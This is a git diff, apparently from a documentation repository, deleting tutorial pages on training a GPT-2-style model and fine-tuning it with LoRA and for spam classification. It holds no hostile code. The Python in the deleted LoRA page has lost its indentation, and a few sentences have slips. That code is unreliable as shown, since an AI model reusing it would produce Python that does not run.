number of batches in the data loader - # if num_batches exceeds the number of batches in the data loader - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - loss = calc_loss_batch(input_batch, target_batch, model, device) - total_loss += loss.item() - else: - break - return total_loss / num_batches - - -# Apply Train/validation ratio and create dataloaders -train_ratio = 0.90 -split_idx = int(train_ratio * len(text_data)) -train_data = text_data[:split_idx] -val_data = text_data[split_idx:] - -torch.manual_seed(123) - -train_loader = create_dataloader_v1( - train_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=True, - shuffle=True, - num_workers=0 -) - -val_loader = create_dataloader_v1( - val_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=False, - shuffle=False, - num_workers=0 -) - - -# Sanity checks -if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the training loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "increase the `training_ratio`") - -if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the validation loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "decrease the `training_ratio`") - -print("Train loader:") -for x, y in train_loader: - print(x.shape, y.shape) - -print("\nValidation loader:") -for x, y in val_loader: - print(x.shape, y.shape) - -train_tokens = 0 -for input_batch, target_batch in train_loader: - train_tokens += input_batch.numel() - -val_tokens = 0 -for input_batch, target_batch in val_loader: - val_tokens += input_batch.numel() - -print("Training tokens:", train_tokens) -print("Validation tokens:", val_tokens) -print("All tokens:", train_tokens + val_tokens) - - -# Indicate the device to use -if torch.cuda.is_available(): - device = torch.device("cuda") -elif torch.backends.mps.is_available(): - device = torch.device("mps") -else: - device = torch.device("cpu") - -print(f"Using {device} device.") - -model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes - - - -# Pre-calculate losses without starting yet -torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader - -with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet - train_loss = calc_loss_loader(train_loader, model, device) - val_loss = calc_loss_loader(val_loader, model, device) - -print("Training loss:", train_loss) -print("Validation loss:", val_loss) - - -# Functions to train the data -def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs, - eval_freq, eval_iter, start_context, tokenizer): - # Initialize lists to track losses and tokens seen - train_losses, val_losses, track_tokens_seen = [], [], [] - tokens_seen, global_step = 0, -1 - - # Main training loop - for epoch in range(num_epochs): - model.train() # Set model to training mode - - for input_batch, target_batch in train_loader: - optimizer.zero_grad() # Reset loss gradients from previous batch iteration - loss = calc_loss_batch(input_batch, target_batch, model, device) - loss.backward() # Calculate loss gradients - optimizer.step() # Update model weights using loss gradients - tokens_seen += input_batch.numel() - global_step += 1 - - # Optional evaluation step - if global_step % eval_freq == 0: - train_loss, val_loss = evaluate_model( - model, train_loader, val_loader, device, eval_iter) - train_losses.append(train_loss) - val_losses.append(val_loss) - track_tokens_seen.append(tokens_seen) - print(f"Ep {epoch+1} (Step {global_step:06d}): " - f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}") - - # Print a sample text after each epoch - generate_and_print_sample( - model, tokenizer, device, start_context - ) - - return train_losses, val_losses, track_tokens_seen - - -def evaluate_model(model, train_loader, val_loader, device, eval_iter): - model.eval() - with torch.no_grad(): - train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter) - val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter) - model.train() - return train_loss, val_loss - - -def generate_and_print_sample(model, tokenizer, device, start_context): - model.eval() - context_size = model.pos_emb.weight.shape[0] - encoded = text_to_token_ids(start_context, tokenizer).to(device) - with torch.no_grad(): - token_ids = generate_text( - model=model, idx=encoded, - max_new_tokens=50, context_size=context_size - ) - decoded_text = token_ids_to_text(token_ids, tokenizer) - print(decoded_text.replace("\n", " ")) # Compact print format - model.train() - - -# Start training! -import time -start_time = time.time() - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.to(device) -optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1) - -num_epochs = 10 -train_losses, val_losses, tokens_seen = train_model_simple( - model, train_loader, val_loader, optimizer, device, - num_epochs=num_epochs, eval_freq=5, eval_iter=5, - start_context="Every effort moves you", tokenizer=tokenizer -) - -end_time = time.time() -execution_time_minutes = (end_time - start_time) / 60 -print(f"Training completed in {execution_time_minutes:.2f} minutes.") - - - -# Show graphics with the training process -import matplotlib.pyplot as plt -from matplotlib.ticker import MaxNLocator -import math -def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses): - fig, ax1 = plt.subplots(figsize=(5, 3)) - ax1.plot(epochs_seen, train_losses, label="Training loss") - ax1.plot( - epochs_seen, val_losses, linestyle="-.", label="Validation loss" - ) - ax1.set_xlabel("Epochs") - ax1.set_ylabel("Loss") - ax1.legend(loc="upper right") - ax1.xaxis.set_major_locator(MaxNLocator(integer=True)) - ax2 = ax1.twiny() - ax2.plot(tokens_seen, train_losses, alpha=0) - ax2.set_xlabel("Tokens seen") - fig.tight_layout() - plt.show() - - # Compute perplexity from the loss values - train_ppls = [math.exp(loss) for loss in train_losses] - val_ppls = [math.exp(loss) for loss in val_losses] - # Plot perplexity over tokens seen - plt.figure() - plt.plot(tokens_seen, train_ppls, label='Training Perplexity') - plt.plot(tokens_seen, val_ppls, label='Validation Perplexity') - plt.xlabel('Tokens Seen') - plt.ylabel('Perplexity') - plt.title('Perplexity over Training') - plt.legend() - plt.show() - -epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) -plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) - - -torch.save({ - "model_state_dict": model.state_dict(), - "optimizer_state_dict": optimizer.state_dict(), - }, -"/tmp/model_and_optimizer.pth" -) -``` - -Let's see an explanation step by step - -### Functions to transform text <--> ids - -These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions: - -```python -# Functions to transform from tokens to ids and from to ids to tokens -def text_to_token_ids(text, tokenizer): - encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'}) - encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension - return encoded_tensor - -def token_ids_to_text(token_ids, tokenizer): - flat = token_ids.squeeze(0) # remove batch dimension - return tokenizer.decode(flat.tolist()) -``` - -### Generate text functions - -In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic. - -The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts. - -- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`. -- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have. -- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1. -- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%. - -```python -# Generate text function -def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None): - - # For-loop is the same as before: Get logits, and only focus on last time step - for _ in range(max_new_tokens): - idx_cond = idx[:, -context_size:] - with torch.no_grad(): - logits = model(idx_cond) - logits = logits[:, -1, :] - - # New: Filter logits with top_k sampling - if top_k is not None: - # Keep only top_k values - top_logits, _ = torch.topk(logits, top_k) - min_val = top_logits[:, -1] - logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits) - - # New: Apply temperature scaling - if temperature > 0.0: - logits = logits / temperature - - # Apply softmax to get probabilities - probs = torch.softmax(logits, dim=-1) # (batch_size, context_len) - - # Sample from the distribution - idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1) - - # Otherwise same as before: get idx of the vocab entry with the highest logits value - else: - idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1) - - if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified - break - - # Same as before: append sampled index to the running sequence - idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1) - - return idx -``` - -> [!NOTE] -> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**. -> -> Then, **only those words** of the vocabulary will be considered according to their relative probabilities -> -> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**. -> -> _Note that this improvement isn't included in the previous code._ - -> [!NOTE] -> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\ -> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices. -> -> _Note that this improvement isn't included in the previous code._ - -### Loss functions - -The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\ -The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**. - -```python -# Define loss functions -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch) - loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten()) - return loss - -def calc_loss_loader(data_loader, model, device, num_batches=None): - total_loss = 0. - if len(data_loader) == 0: - return float("nan") - elif num_batches is None: - num_batches = len(data_loader) - else: - # Reduce the number of batches to match the total number of batches in the data loader - # if num_batches exceeds the number of batches in the data loader - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - loss = calc_loss_batch(input_batch, target_batch, model, device) - total_loss += loss.item() - else: - break - return total_loss / num_batches -``` - -> [!NOTE] -> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the model’s parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training. -> -> _Note that this improvement isn't included in the previous code._ -> -> Check the following example: - -
- -### Loading Data - -The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section. - -From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\ -Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model. - -Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\ -The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes. - -Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set). - -Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch. - -```python -train_ratio = 0.90 -split_idx = int(train_ratio * len(text_data)) -train_data = text_data[:split_idx] -val_data = text_data[split_idx:] - -torch.manual_seed(123) - -train_loader = create_dataloader_v1( - train_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=True, - shuffle=True, - num_workers=0 -) - -val_loader = create_dataloader_v1( - val_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=False, - shuffle=False, - num_workers=0 -) -``` - -## Sanity Checks - -The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation: - -```python -# Sanity checks -if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the training loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "increase the `training_ratio`") - -if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the validation loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "decrease the `training_ratio`") - -print("Train loader:") -for x, y in train_loader: - print(x.shape, y.shape) - -print("\nValidation loader:") -for x, y in val_loader: - print(x.shape, y.shape) - -train_tokens = 0 -for input_batch, target_batch in train_loader: - train_tokens += input_batch.numel() - -val_tokens = 0 -for input_batch, target_batch in val_loader: - val_tokens += input_batch.numel() - -print("Training tokens:", train_tokens) -print("Validation tokens:", val_tokens) -print("All tokens:", train_tokens + val_tokens) -``` - -### Select device for training & pre calculations - -The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point. - -```python -# Indicate the device to use - -if torch.cuda.is_available(): - device = torch.device("cuda") -elif torch.backends.mps.is_available(): - device = torch.device("mps") -else: - device = torch.device("cpu") - -print(f"Using {device} device.") - -model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes - -# Pre-calculate losses without starting yet -torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader - -with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet - train_loss = calc_loss_loader(train_loader, model, device) - val_loss = calc_loss_loader(val_loader, model, device) - -print("Training loss:", train_loss) -print("Validation loss:", val_loss) -``` - -### Training functions - -The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step. - -The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training. - -Then the big function `train_model_simple` is the one that actually train the model. It expects: - -- The train data loader (with the data already separated and prepared for training) -- The validator loader -- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more. - - `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them. - - The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized). - - **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature. - - Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization. -- The device to use for training -- The number of epochs: Number of times to go over the training data -- The evaluation frequency: The frequency to call `evaluate_model` -- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample` -- The start context: Which the starting sentence to use when calling `generate_and_print_sample` -- The tokenizer - -```python -# Functions to train the data -def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs, - eval_freq, eval_iter, start_context, tokenizer): - # Initialize lists to track losses and tokens seen - train_losses, val_losses, track_tokens_seen = [], [], [] - tokens_seen, global_step = 0, -1 - - # Main training loop - for epoch in range(num_epochs): - model.train() # Set model to training mode - - for input_batch, target_batch in train_loader: - optimizer.zero_grad() # Reset loss gradients from previous batch iteration - loss = calc_loss_batch(input_batch, target_batch, model, device) - loss.backward() # Calculate loss gradients - optimizer.step() # Update model weights using loss gradients - tokens_seen += input_batch.numel() - global_step += 1 - - # Optional evaluation step - if global_step % eval_freq == 0: - train_loss, val_loss = evaluate_model( - model, train_loader, val_loader, device, eval_iter) - train_losses.append(train_loss) - val_losses.append(val_loss) - track_tokens_seen.append(tokens_seen) - print(f"Ep {epoch+1} (Step {global_step:06d}): " - f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}") - - # Print a sample text after each epoch - generate_and_print_sample( - model, tokenizer, device, start_context - ) - - return train_losses, val_losses, track_tokens_seen - - -def evaluate_model(model, train_loader, val_loader, device, eval_iter): - model.eval() # Set in eval mode to avoid dropout - with torch.no_grad(): - train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter) - val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter) - model.train() # Back to training model applying all the configurations - return train_loss, val_loss - - -def generate_and_print_sample(model, tokenizer, device, start_context): - model.eval() # Set in eval mode to avoid dropout - context_size = model.pos_emb.weight.shape[0] - encoded = text_to_token_ids(start_context, tokenizer).to(device) - with torch.no_grad(): - token_ids = generate_text( - model=model, idx=encoded, - max_new_tokens=50, context_size=context_size - ) - decoded_text = token_ids_to_text(token_ids, tokenizer) - print(decoded_text.replace("\n", " ")) # Compact print format - model.train() # Back to training model applying all the configurations -``` - -> [!NOTE] -> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.** -> -> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\ -> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases. -> -> _Note that these improvements aren't included in the previous code._ - -### Start training - -```python -import time -start_time = time.time() - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.to(device) -optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1) - -num_epochs = 10 -train_losses, val_losses, tokens_seen = train_model_simple( - model, train_loader, val_loader, optimizer, device, - num_epochs=num_epochs, eval_freq=5, eval_iter=5, - start_context="Every effort moves you", tokenizer=tokenizer -) - -end_time = time.time() -execution_time_minutes = (end_time - start_time) / 60 -print(f"Training completed in {execution_time_minutes:.2f} minutes.") -``` - -### Print training evolution - -With the following function it's possible to print the evolution of the model while it was being trained. - -```python -import matplotlib.pyplot as plt -from matplotlib.ticker import MaxNLocator -import math -def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses): - fig, ax1 = plt.subplots(figsize=(5, 3)) - ax1.plot(epochs_seen, train_losses, label="Training loss") - ax1.plot( - epochs_seen, val_losses, linestyle="-.", label="Validation loss" - ) - ax1.set_xlabel("Epochs") - ax1.set_ylabel("Loss") - ax1.legend(loc="upper right") - ax1.xaxis.set_major_locator(MaxNLocator(integer=True)) - ax2 = ax1.twiny() - ax2.plot(tokens_seen, train_losses, alpha=0) - ax2.set_xlabel("Tokens seen") - fig.tight_layout() - plt.show() - - # Compute perplexity from the loss values - train_ppls = [math.exp(loss) for loss in train_losses] - val_ppls = [math.exp(loss) for loss in val_losses] - # Plot perplexity over tokens seen - plt.figure() - plt.plot(tokens_seen, train_ppls, label='Training Perplexity') - plt.plot(tokens_seen, val_ppls, label='Validation Perplexity') - plt.xlabel('Tokens Seen') - plt.ylabel('Perplexity') - plt.title('Perplexity over Training') - plt.legend() - plt.show() - -epochs_tensor = torch.linspace(0, num_epochs, len(train_losses)) -plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses) -``` - -### Save the model - -It's possible to save the model + optimizer if you want to continue training later: - -```python -# Save the model and the optimizer for later training -torch.save({ - "model_state_dict": model.state_dict(), - "optimizer_state_dict": optimizer.state_dict(), - }, -"/tmp/model_and_optimizer.pth" -) -# Note that this model with the optimizer occupied close to 2GB - -# Restore model and optimizer for training -checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device) - -model = GPTModel(GPT_CONFIG_124M) -model.load_state_dict(checkpoint["model_state_dict"]) -optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1) -optimizer.load_state_dict(checkpoint["optimizer_state_dict"]) -model.train(); # Put in training mode -``` - -Or just the model if you are planing just on using it: - -```python -# Save the model -torch.save(model.state_dict(), "model.pth") - -# Load it -model = GPTModel(GPT_CONFIG_124M) - -model.load_state_dict(torch.load("model.pth", map_location=device)) - -model.eval() # Put in eval mode -``` - -## Loading GPT2 weights - -There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then: - -- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you" -- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts. - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - diff --git a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md b/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md deleted file mode 100644 index 1630f49a3..000000000 --- a/src/todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md +++ /dev/null @@ -1,61 +0,0 @@ -# 7.0. Поліпшення LoRA у тонкому налаштуванні - -## Поліпшення LoRA - -> [!TIP] -> Використання **LoRA значно зменшує обчислення**, необхідні для **тонкого налаштування** вже навчених моделей. - -LoRA дозволяє ефективно тонко налаштовувати **великі моделі**, змінюючи лише **невелику частину** моделі. Це зменшує кількість параметрів, які потрібно навчати, економлячи **пам'ять** та **обчислювальні ресурси**. Це відбувається тому, що: - -1. **Зменшує кількість навчальних параметрів**: Замість оновлення всієї вагової матриці в моделі, LoRA **ділить** вагову матрицю на дві менші матриці (названі **A** та **B**). Це робить навчання **швидшим** і вимагає **менше пам'яті**, оскільки потрібно оновити менше параметрів. - -1. Це відбувається тому, що замість обчислення повного оновлення ваги шару (матриці), воно апроксимує його до добутку 2 менших матриць, зменшуючи оновлення для обчислення:\ - -
- -2. **Зберігає оригінальні ваги моделі незмінними**: LoRA дозволяє зберігати оригінальні ваги моделі такими ж, і лише оновлює **нові маленькі матриці** (A та B). Це корисно, оскільки означає, що оригінальні знання моделі зберігаються, і ви лише налаштовуєте те, що необхідно. -3. **Ефективне тонке налаштування для конкретних завдань**: Коли ви хочете адаптувати модель до **нового завдання**, ви можете просто навчати **маленькі матриці LoRA** (A та B), залишаючи решту моделі без змін. Це **набагато ефективніше**, ніж повторне навчання всієї моделі. -4. **Ефективність зберігання**: Після тонкого налаштування, замість збереження **цілої нової моделі** для кожного завдання, вам потрібно зберігати лише **матриці LoRA**, які є дуже маленькими в порівнянні з усією моделлю. Це полегшує адаптацію моделі до багатьох завдань без використання занадто багато пам'яті. - -Для реалізації LoraLayers замість лінійних під час тонкого налаштування, тут пропонується цей код [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): -```python -import math - -# Create the LoRA layer with the 2 matrices and the alpha -class LoRALayer(torch.nn.Module): -def __init__(self, in_dim, out_dim, rank, alpha): -super().__init__() -self.A = torch.nn.Parameter(torch.empty(in_dim, rank)) -torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization -self.B = torch.nn.Parameter(torch.zeros(rank, out_dim)) -self.alpha = alpha - -def forward(self, x): -x = self.alpha * (x @ self.A @ self.B) -return x - -# Combine it with the linear layer -class LinearWithLoRA(torch.nn.Module): -def __init__(self, linear, rank, alpha): -super().__init__() -self.linear = linear -self.lora = LoRALayer( -linear.in_features, linear.out_features, rank, alpha -) - -def forward(self, x): -return self.linear(x) + self.lora(x) - -# Replace linear layers with LoRA ones -def replace_linear_with_lora(model, rank, alpha): -for name, module in model.named_children(): -if isinstance(module, torch.nn.Linear): -# Replace the Linear layer with LinearWithLoRA -setattr(model, name, LinearWithLoRA(module, rank, alpha)) -else: -# Recursively apply the same function to child modules -replace_linear_with_lora(module, rank, alpha) -``` -## Посилання - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md b/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md deleted file mode 100644 index 447524b91..000000000 --- a/src/todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md +++ /dev/null @@ -1,117 +0,0 @@ -# 7.1. Fine-Tuning for Classification - -## What is - -Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch. - -> [!NOTE] -> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform. - -> [!TIP] -> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not). - -## Preparing the data set - -### Data set size - -Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ - -This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each. - -Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**. - -- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation. - - This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one. -- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications. - -### Entries length - -As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding. - -### Initialize the model - -Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it. - -## Classification head - -In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words). - -```python -# This code modified the final layer with a Linear one with 2 outs -num_classes = 2 -model.out_head = torch.nn.Linear( - -in_features=BASE_CONFIG["emb_dim"], - -out_features=num_classes -) -``` - -## Parameters to tune - -In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**. - -```python -# This code makes all the parameters of the model unrtainable -for param in model.parameters(): - param.requires_grad = False - -# Allow to fine tune the last layer in the transformer block -for param in model.trf_blocks[-1].parameters(): - param.requires_grad = True - -# Allow to fine tune the final layer norm -for param in model.final_norm.parameters(): - -param.requires_grad = True -``` - -## Entries to use for training - -In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language. - -In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token. - -This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as: - -```python -def calc_accuracy_loader(data_loader, model, device, num_batches=None): - model.eval() - correct_predictions, num_examples = 0, 0 - - if num_batches is None: - num_batches = len(data_loader) - else: - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - - with torch.no_grad(): - logits = model(input_batch)[:, -1, :] # Logits of last output token - predicted_labels = torch.argmax(logits, dim=-1) - - num_examples += predicted_labels.shape[0] - correct_predictions += (predicted_labels == target_batch).sum().item() - else: - break - return correct_predictions / num_examples - - -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch)[:, -1, :] # Logits of last output token - loss = torch.nn.functional.cross_entropy(logits, target_batch) - return loss -``` - -Note how for each batch we are only interested in the **logits of the last token predicted**. - -## Complete GPT2 fine-tune classification code - -You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb) - -## References - -- 